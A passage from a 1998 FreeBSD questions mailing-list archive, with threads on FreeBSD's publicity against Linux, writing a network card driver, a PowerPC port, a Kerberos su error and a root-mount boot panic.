Clarke On Thu, 9 Apr 1998, Open Systems Networking wrote: > On Thu, 9 Apr 1998, Jordan K. Hubbard wrote: > > > I was told by Eric Raymond (whom I met briefly at the Mozilla party) > > that the *BSD people were deliberately excluded because there were too > > many BSDs and they didn't want to get involved in any political issues > > over it. I find these continuous allegations of the BSD world being > > gratuitously and needlessly "split" (even though each *BSD seeks to > > fill a different niche) by the Linux community to be rather tiresome > > considering the amount of division in their own ranks and can only see > > this as something of a double standard, but I've long since given up > > on any hope of fair play from this particular crowd. > > > > This and several other incidents of a similar nature has pretty much > > convinced me that this crowd would rather prefer it if we really > > didn't exist at all and is going to essentially conduct their > > operations as if we didn't. Oh well. Perhaps it *IS* time to go on > > Thats why I thought our own mozilla tree would be best, since they have > never had any priority for releasing a BSD version of netscape until > yahoo, and im willing to bet, screamed bloody murder to get them to make a > port. I could be wrong but thats what I think happened. > > > the PR offensive here ("Why Linux doesn't work") since playing nice > > I think we SERIOUSLY need a PR plan of some kind. I think also we can take > the gloves off and start kicking heads without getting nasty about it. We > have several FACTUAL resources that they just CANT compete with. One being > our ability to server better than ANY OS out there. We have proven this > with yahoo and wcarchive and probably a few other places. They do not have > such visable factual references to point at. Our stack is better. That is > not a holy war comment thats just being based verifable facts. They can't > argue with yahoo or wcarchive. The best they can do, and i'm referring to > any OS vendor, is point at similar flagship places. Linux may have > dejanews but there are no printed numbers that im aware of for them, or > the like. So I mean you can get to the nitty gritty about performance with > facts and just kill the banter of which stack might be better. I know this > has been done to death on IRC and other low key places. But not in > articles, not in highly visable places. > > > > guys hasn't appeared to have won us anything but lots of nice comments > > from folks like Marc A. at netscape to the effect that "Linux is the > > only free OS alternative." I'm getting tired of that, and if it's > > going to take "breaking ranks" with the rest of the free OS community > > to get our own message out, maybe it's time. > > I second this! But the problemhere is that we have zero PR. I am not > making light of jordans efforts at all. His trips, his talks, his free CD > handouts to promote FreeBSD. But the fact is we dont have any PR that is > making any difference to anyone but geeks. ORA flat out annoys me by > pretty much refusing to do a FreeBSD book. The only publisher I can > respect now would be addison wessley since they have seemed interested in > publishing gregs book. I dont know what happened on that front. > But im straying from my rant. We need PR. Can we get the PR we need? I'm > not so sure. The simple fact since for as long as I can remember has been > money. money to do drivers, moeny to hire coders, moeny for PR. But the > simple fact is FreeBSD Inc, isnt seeing jack &@#$, money wise. > As far as I can tell. They get minor donations from people im aware of > that, and I thank those people. But it's pretty obvious big companies that > are using FreeBSD are not very keen on donating the money we need to > advertise in magazines, journals, etc.. I could be wrong but I just dont > see it. The entire PR for FreeBSD is non-existant. Other than the IRC > banter, the job jordan does ot promote it etc.. But were not putting ad's > out all over, were not saturating certain places with info. And im not > taking anyone to task. I know everyone involved in -core and commiters > works very damn hard alot of the time to make FreeBSD what it is today. > But how do we resolve these issues? How do we get funding for PR? Should > PR take priority over SMP? Bascially we need a freaking game plan. It's a > volunteer project, and thats good IMO, but we need an organized strong > game plan for doing some serious PR now. We have lost out to many times. > We took a hit a while back on the article comparing linux, bsdi, and > freebsd cause we only recognized 64 megs of ram by default instead of 128. > That hurt us. I'm just tired of loosing out to the satanic penguin all the > time. They get precedence over us, they get more articles, people will > publish THEIR books. Book wise were like the plaugue for some reason. > I'm really teed off now. I think we do need to take the gloves off and > start beating people over the head HARD with facts, and shoving FreeBSD > down their throats. Jordan is right being nice gets us no where. nice guys > finish last is the saying. and its becoming quite true. I think we need to > form a game plan. We need to have alot of open dialogue of PR, marketing, > strategy, etc.. We keep struggling and it does us no good. Were spinning > wheels but going nowhere. Well maybe slooowly we are. But we need to get a > game plan going and attack with teeth. But stick to facts. I think we just > need a PR plan. We need to organize an assault :) > > Im done venting, im going back to my corner now, > > Chris > > -- > "I am closed minded. It keeps the rain out." > > ===================================| Open Systems Networking And Consulting. > FreeBSD 2.2.6 is available now! | Phone: 316-326-6800 > -----------------------------------| 1402 N. Washington, Wellington, KS-67152 > FreeBSD: The power to serve! | E-Mail: opsys@open-systems.net > http://www.freebsd.org | Consulting-Network Engineering-Security > ===================================| http://open-systems.net > > -----BEGIN PGP PUBLIC KEY BLOCK----- > Version: 2.6.2 > > mQENAzPemUsAAAEH/06iF0BU8pMtdLJrxp/lLk3vg9QJCHajsd25gYtR8X1Px1Te > gWU0C4EwMh4seDIgK9bzFmjjlZOEgS9zEgia28xDgeluQjuuMyUFJ58MzRlC2ONC > foYIZsFyIqdjEOCBdfhH5bmgB5/+L5bjDK6lNdqD8OAhtC4Xnc1UxAKq3oUgVD/Z > d5UJXU2xm+f08WwGZIUcbGcaonRC/6Z/5o8YpLVBpcFeLtKW5WwGhEMxl9WDZ3Kb > NZH6bx15WiB2Q/gZQib3ZXhe1xEgRP+p6BnvF364I/To9kMduHpJKU97PH3dU7Mv > CXk2NG3rtOgLTEwLyvtBPqLnbx35E0JnZc0k5YkABRO0JU9wZW4gU3lzdGVtcyA8 > b3BzeXNAb3Blbi1zeXN0ZW1zLm5ldD4= > =BBjp > -----END PGP PUBLIC KEY BLOCK----- > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 00:49:17 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA20316 for freebsd-questions-outgoing; Fri, 10 Apr 1998 00:49:17 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from exchange2.via.com.tw ([202.145.217.249]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA20309 for ; Fri, 10 Apr 1998 00:49:10 -0700 (PDT) (envelope-from SatenShih@via.com.tw) Received: by exchange2.via.com.tw with Internet Mail Service (5.5.1960.3) id ; Fri, 10 Apr 1998 15:49:27 +0800 Message-ID: <4399E411E49ED111973000A0C92BD8A007F83B@exchange2.via.com.tw> From: Saten Shih To: "'FAQ@FREEBSD.ORG'" Subject: I want to write our NIC Driver for FREEBSD !! Date: Fri, 10 Apr 1998 15:49:16 +0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.1960.3) Content-Type: text/plain Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi ,Mr FAQ: I am a driver programmer for our nic . I want to write NIC(network card ) Driver for FREEBSD and may I ask you some questions? 1. where can I get sample driver (100Mbs ethernet good) ? 2. How can I install our driver from floppy disk? if answer , thanks very much my e-mail saten@via.com.tw our company http:\\www.via.com.tw To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 00:49:18 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA20325 for freebsd-questions-outgoing; Fri, 10 Apr 1998 00:49:18 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from bart.esiee.fr (bart.esiee.fr [147.215.1.20]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA20308 for ; Fri, 10 Apr 1998 00:49:07 -0700 (PDT) (envelope-from bonnetf@bart.esiee.fr) Received: from bart.esiee.fr (localhost.esiee.fr [127.0.0.1]) by bart.esiee.fr (8.9.0.Beta5/8.9.0.Beta5) with ESMTP id JAA21755 for ; Fri, 10 Apr 1998 09:49:59 +0200 (METDST) Message-ID: <352DCF26.DAA02F68@bart.esiee.fr> Date: Fri, 10 Apr 1998 09:49:58 +0200 From: Frank Bonnet Organization: Groupe ESIEE Paris X-Mailer: Mozilla 4.05 [en] (X11; I; HP-UX B.10.10 9000/712) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: PowerPC ports ? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi Will FreeBSD be port to the PowerPC architecture ? TIA -- Frank Bonnet Groupe ESIEE Paris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 01:31:37 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA24176 for freebsd-questions-outgoing; Fri, 10 Apr 1998 01:31:37 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dove.peace.com.my (peace.com.my [202.184.153.15]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA24170 for ; Fri, 10 Apr 1998 01:31:33 -0700 (PDT) (envelope-from panda@peace.com.my) Received: from lovebox (love.com.my [202.184.153.17]) by dove.peace.com.my (8.8.5/8.8.5) with SMTP id QAA24828 for ; Fri, 10 Apr 1998 16:14:26 +0800 (SGT) Date: Fri, 10 Apr 1998 16:14:26 +0800 (SGT) Message-Id: <3.0.32.19980410163639.00e654a8@peace.com.my> X-Sender: panda@peace.com.my X-Mailer: Windows Eudora Pro Version 3.0 (32) To: freebsd-questions@FreeBSD.ORG From: chas Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I apologise if I have missed it, but does anybody have a compendium of all of the arguments "for" FreeBSD especially with semi-objective comparisons with the other OS's ? I've been using FBSD for a nearly 18 months and this thread is the first time that I've heard of some of FBSD's technical strengths (I had even been led to believe that Linux was the more efficient/powerful OS but I chose FBSD for its single distribution). Yes, there is the "features" section of the freebsd.org website but it's not very hard sell - I've come to the conclusion that the "large team of individuals" and FBSD are one of the most humble on the Web. (which is good and, as somebody has mentioned, gives you an air of maturity far from the religious clamourings of the linux group ... but don't be afraid to blow your own trumpet - you deserve it !). One of FreeBSD's strength is the "One single distribution*" as somebody (sorry, I forget) so wisely said. Bring this and other facts clearly to the fore. Play to your strengths. Just my 2 cents (and I hope I haven't spoken out of line). Keep up the fantastic work ! Chas *This also explains part of the reason the Linux groups are so loud... Caldera / RedHat etc are fighting for a piece of the linux pie. That is probably why they initially put more effort into marketing. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 01:32:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA24483 for freebsd-questions-outgoing; Fri, 10 Apr 1998 01:32:30 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from serv.unibest.ru (serv.unibest.ru [194.87.33.9]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id BAA24397 for ; Fri, 10 Apr 1998 01:32:08 -0700 (PDT) (envelope-from osa@unibest.ru) Received: (qmail 22467 invoked from network); 10 Apr 1998 07:37:18 -0000 Received: from unknown (HELO hole.etrust.ru) (192.168.30.2) by serv.unibest.ru with SMTP; 10 Apr 1998 07:37:18 -0000 Date: Fri, 10 Apr 1998 12:33:48 +0400 (MSD) From: Ozz!!! X-Sender: osa@hole.etrust.ru To: freebsd-questions@FreeBSD.ORG Subject: su: kerberos: not in root's ACL ... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello! I install des ONLY FOR PPP-support, but after reboot when i type su system say: su: kerberos: not in root's ACL ... How can i correct this problem ? I think Kerberos is a good defence, but I don't want use Kerberos... Rgdz, oZZ, osa@unibest.ru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 02:10:01 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA00243 for freebsd-questions-outgoing; Fri, 10 Apr 1998 02:10:01 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from cyclone.degnet.baynet.de (www.degnet.baynet.de [194.95.214.129]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id CAA00199 for ; Fri, 10 Apr 1998 02:09:56 -0700 (PDT) (envelope-from malte@webmore.com) Received: from tabara (unverified [194.95.214.186]) by cyclone.degnet.baynet.de (EMWAC SMTPRS 0.83) with SMTP id ; Fri, 10 Apr 1998 11:08:08 +0200 Message-Id: <3.0.32.19980410105748.006dfce4@cyclone.degnet.baynet.de> X-Sender: moos@cyclone.degnet.baynet.de (Unverified) X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Fri, 10 Apr 1998 10:57:50 +0000 To: Greg Lehey , questions From: Malte Lance Subject: Re: sending an attachment? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 19:18 09.04.98 +0930, Greg Lehey wrote: >On Thu, 9 April 1998 at 11:24:46 +0000, Malte Lance wrote: >> Attachments worked well when i tried it last (several types, not only MIME). > >What other types? MIME is the only standard I know for attachments. Yes right, confused it with included encodings ... sorry. Malte > >Greg > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 02:40:24 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA05411 for freebsd-questions-outgoing; Fri, 10 Apr 1998 02:40:24 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw02.execpc.com (mailgw02.execpc.com [169.207.16.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA05406 for ; Fri, 10 Apr 1998 02:40:21 -0700 (PDT) (envelope-from Jakor@execpc.com) Received: from core0.mx.execpc.com (mailx.norlight.net [169.207.16.4]) by mailgw02.execpc.com (8.8.8) id EAA15134 for ; Fri, 10 Apr 1998 04:40:16 -0500 (CDT) Received: from execpc.com (ork-101.mdm.shb.execpc.com [169.207.44.104]) by core0.mx.execpc.com (8.8.8) with ESMTP id EAA14090 for ; Fri, 10 Apr 1998 04:40:15 -0500 (CDT) Message-ID: <352E050B.1C40C5AB@execpc.com> Date: Fri, 10 Apr 1998 04:39:55 -0700 From: Jason Blackston X-Mailer: Mozilla 4.05 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: apply Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 02:44:14 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA06458 for freebsd-questions-outgoing; Fri, 10 Apr 1998 02:44:14 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw01.execpc.com (mailgw01.execpc.com [169.207.16.9]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA06443 for ; Fri, 10 Apr 1998 02:44:11 -0700 (PDT) (envelope-from Jakor@execpc.com) Received: from core0.mx.execpc.com (mailx.norlight.net [169.207.16.4]) by mailgw01.execpc.com (8.8.8) id JAA16189 for ; Fri, 10 Apr 1998 09:44:11 GMT Received: from execpc.com (ork-101.mdm.shb.execpc.com [169.207.44.104]) by core0.mx.execpc.com (8.8.8) with ESMTP id EAA15212 for ; Fri, 10 Apr 1998 04:44:09 -0500 (CDT) Message-ID: <352E05F5.A1B82D81@execpc.com> Date: Fri, 10 Apr 1998 04:43:49 -0700 From: Jason Blackston X-Mailer: Mozilla 4.05 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Downloading files Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've just got FreeBSD installed and connected to the internet and a pretty good ping. My problem now is that I wish to start downloading things to help make my server better, like netscape 4.0 and other programs. When I go to the netscape 4 directory and type make I get an error were it can not connect to netscape. I keep getting this error when I try and make file other programs. Could some one just simples tell me the steps on how to get programs install them and get them running on FreeBSD. I'm running Xfree86 and I wish to get my hands on a new Window manager cause the one it comes with SUCKS!!! I hope you guys can help me out. Thanks, Jason Blackston To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 02:48:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA06972 for freebsd-questions-outgoing; Fri, 10 Apr 1998 02:48:59 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA06967 for ; Fri, 10 Apr 1998 02:48:54 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id TAA17113; Fri, 10 Apr 1998 19:18:11 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id TAA02420; Fri, 10 Apr 1998 19:18:10 +0930 (CST) (envelope-from grog) Message-ID: <19980410191810.20556@freebie.lemis.com> Date: Fri, 10 Apr 1998 19:18:10 +0930 From: Greg Lehey To: Saten Shih , "'FAQ@FREEBSD.ORG'" Subject: Re: I want to write our NIC Driver for FREEBSD !! References: <4399E411E49ED111973000A0C92BD8A007F83B@exchange2.via.com.tw> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <4399E411E49ED111973000A0C92BD8A007F83B@exchange2.via.com.tw>; from Saten Shih on Fri, Apr 10, 1998 at 03:49:16PM +0800 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 April 1998 at 15:49:16 +0800, Saten Shih wrote: > Hi ,Mr FAQ: > I am a driver programmer for our nic . > I want to write NIC(network card ) Driver for FREEBSD and may I ask > you some questions? > > 1. where can I get sample driver (100Mbs ethernet good) ? The complete operating system source code is located in the directory /usr/src on an installed system. You'll find it in the saem directory on the second CD-ROM of the 4-CD-ROM set. > 2. How can I install our driver from floppy disk? Normally, FreeBSD drivers are bound into the kernel. You can supply them as a loadable kernel module if you want. However, due to the source code nature of FreeBSD, we don't go to much trouble to ensure that LKMs for one version would run on another version. Instead, we recompile the LKM. What this means to you depends on what your company is prepared to do. I can see the following alternatives: 1. You write the driver. We test it and include it in the source distribution. This means that everybody gets a copy of the driver, even if they don't buy the board. 2. If this is not acceptable for Via, you could distribute source code on the floppy. Purchasers of the board could then compile the driver for their own environment. 3. Finally, if that didn't work, you could distribute multiple versions of the LKM on floppy. I think that alternative (3) would be a real headache. The -CURRENT version of FreeBSD changes several times a day. From time to time changes occur which require recompilation of all LKMs. A person using -CURRENT would almost certainly have trouble with a driver supplied in LKM form on floppy. If you have any further questions, I'd be pleased to answer them privately. Greg -- See complete headers for address and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 03:17:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id DAA10904 for freebsd-questions-outgoing; Fri, 10 Apr 1998 03:17:40 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from itesec.hsc.fr (root@itesec.hsc.fr [192.70.106.33]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA10891; Fri, 10 Apr 1998 03:17:25 -0700 (PDT) (envelope-from pb@hsc.fr) Received: from mars.hsc.fr (pb@mars.hsc.fr [192.70.106.44]) by itesec.hsc.fr (8.8.8/8.8.5/itesec-1.12-nospam) with ESMTP id MAA18116; Fri, 10 Apr 1998 12:15:53 +0200 (MET DST) Received: (from pb@localhost) by mars.hsc.fr (8.8.5/8.8.5/pb-19970301) id MAA24152; Fri, 10 Apr 1998 12:15:52 +0200 (MET DST) Message-ID: <19980410121551.JK28648@mars.hsc.fr> Date: Fri, 10 Apr 1998 12:15:51 +0200 From: Pierre.Beyssac@hsc.fr (Pierre Beyssac) To: grog@lemis.com (Greg Lehey) Cc: brett@lariat.org (Brett Glass), mike@smith.net.au (Mike Smith), dshanes@personalogic.com (David Shanes), hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" References: <199804092124.OAA00915@dingo.cdrom.com> <025301bd63fb$0b94bc80$1d43a8c0@shanes.personalogic.com> <199804092124.OAA00915@dingo.cdrom.com> <19980410113536.65458@freebie.lemis.com> <199804100428.WAA09649@lariat.lariat.org> <19980410143743.25913@freebie.lemis.com> X-Mailer: Mutt 0.59.1e Mime-Version: 1.0 In-Reply-To: <19980410143743.25913@freebie.lemis.com>; from Greg Lehey on Apr 10, 1998 14:37:43 +0930 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG According to Greg Lehey: > > ORA sees the Linux market as larger, and therefore favors it. > > They publish books. Just because they publish books doesn't mean that > they can't also publish books on BSD. They probably estimate they don't have enough resources. > The closest I could find to a real concern was that their 4.4BSD > manual set didn't sell nearly as well as they had expected. AFAIK, this is basically a printed copy of all the man pages... Not a very interesting thing to buy, and it certainly didn't cost them much compared to a book written from scratch. > >> I've just about given up with ORA. They seem to be relinquishing > >> their position as the favourite UNIX publisher and chasing the NT > >> crowd. > > > > More proof, alas, that they're chasing what they believe to be the > > largest market. > > That's my take too. The sad thing is that a fair part of the NT growth is based on a self-fulfilling prophecy. NT is supposed to be the future of computing, so everyone jumps on it and gives it more credibility... That's the same as how the PC became the main platform. This is kinda ironic if you remember that a little more than ten years ago, the future was supposed to be OS/2 :-)) -- Pierre.Beyssac@hsc.fr To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 03:34:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id DAA13103 for freebsd-questions-outgoing; Fri, 10 Apr 1998 03:34:32 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from solaris.matti.ee (root@solaris.matti.ee [194.126.98.135]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA13097 for ; Fri, 10 Apr 1998 03:34:29 -0700 (PDT) (envelope-from vallo@matti.ee) Received: from localhost (vallo@localhost [127.0.0.1]) by solaris.matti.ee (8.8.8/8.8.8.s) with SMTP id NAA22940 for ; Fri, 10 Apr 1998 13:34:22 +0300 (EET DST) Date: Fri, 10 Apr 1998 13:34:21 +0300 (EET DST) From: Vallo Kallaste X-Sender: vallo@solaris To: freebsd-questions@FreeBSD.ORG Subject: Ignore, test message Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG There aren't better place to test my mailer configuration. Very sorry Vallo Kallaste vallo@matti.ee To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 03:52:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id DAA15228 for freebsd-questions-outgoing; Fri, 10 Apr 1998 03:52:20 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA15222 for ; Fri, 10 Apr 1998 03:52:15 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id UAA17213; Fri, 10 Apr 1998 20:21:54 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id UAA02869; Fri, 10 Apr 1998 20:21:53 +0930 (CST) (envelope-from grog) Message-ID: <19980410202152.44291@freebie.lemis.com> Date: Fri, 10 Apr 1998 20:21:52 +0930 From: Greg Lehey To: Vallo Kallaste , freebsd-questions@FreeBSD.ORG Subject: Don't test here (was: Ignore, test message) References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: ; from Vallo Kallaste on Fri, Apr 10, 1998 at 01:34:21PM +0300 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 April 1998 at 13:34:21 +0300, Vallo Kallaste wrote: > > There aren't better place to test my mailer configuration. Of course there is. That's what FreeBSD-test is for. Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 04:02:38 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA16446 for freebsd-questions-outgoing; Fri, 10 Apr 1998 04:02:38 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from solaris.matti.ee (root@solaris.matti.ee [194.126.98.135]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA16433 for ; Fri, 10 Apr 1998 04:02:34 -0700 (PDT) (envelope-from vallo@matti.ee) Received: from localhost (vallo@localhost [127.0.0.1]) by solaris.matti.ee (8.8.8/8.8.8.s) with SMTP id OAA24353 for ; Fri, 10 Apr 1998 14:02:29 +0300 (EET DST) Date: Fri, 10 Apr 1998 14:02:28 +0300 (EET DST) From: Vallo Kallaste X-Sender: vallo@solaris To: freebsd-questions@FreeBSD.ORG Subject: Re: Don't test here (was: Ignore, test message) In-Reply-To: <19980410202152.44291@freebie.lemis.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Greg Lehey wrote: > > Of course there is. That's what FreeBSD-test is for. *** Sorry. Now I have a full listing of lists what majordo@freebsd.org serves. I'm lazy, as you see ;( Vallo Kallaste vallo@matti.ee To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 04:16:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA19662 for freebsd-questions-outgoing; Fri, 10 Apr 1998 04:16:10 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA19615 for ; Fri, 10 Apr 1998 04:16:05 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node03.mpc.com.br [200.246.0.3]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id IAA21082; Fri, 10 Apr 1998 08:15:47 -0300 (EST) Message-Id: <3.0.32.19980410200759.009255f0@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Fri, 10 Apr 1998 20:10:07 -0300 To: "Brian D. McGrew" From: Capriotti Subject: Re: Question Cc: freebsd-questions@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/enriched; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 09:58 PM 4/9/98 -0700, Brian D. McGrew wrote: >>>> Sure.... AMD-K5-PR133 (P100). 32Meg ram. C-Drive is disabled when using FreeBSD. <<<<<<<< Was the C drive - formerly called master - connected when you first installed FreeBSD ? >>>> C-Drive is a WD33100 and D-Drive is WD31600. Using #9 4Meg PCI VGA card (S3 chipset). Adaptec 151X ISA Single SCSI controller for JVC CD-ROM Writer. When I boot the system, if goes through all the notions of booting normally. Then just stops and says "PANIS: cannot mount root". Then tells me to press any key to reboot? Why? Brian -----Original Message----- From: Capriotti < To: Brian D. McGrew <; freebsd-questions@FreeBSD.ORG < Date: Thursday, April 09, 1998 9:29 PM Subject: Re: Question Arialhmmmmmmmm... can you provide further details on how you installed your system, your computer configuration, controllers and other info you may think it is usefull ? At 02:44 PM 4/9/98 -0700, Brian D. McGrew wrote: >>>> Question ... For support. I just install FreeBSD v2.2.6-RELEASE on a new system. When I boot up, I'm getting a "PANIC! Cannot mount root". What does this mean, and how do we correct it? Brian D. McGrew brian@soundlink.net Arial Arial To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 04:43:33 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA22193 for freebsd-questions-outgoing; Fri, 10 Apr 1998 04:43:33 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from elvis.vnet.net (elvis.vnet.net [166.82.1.5]) by 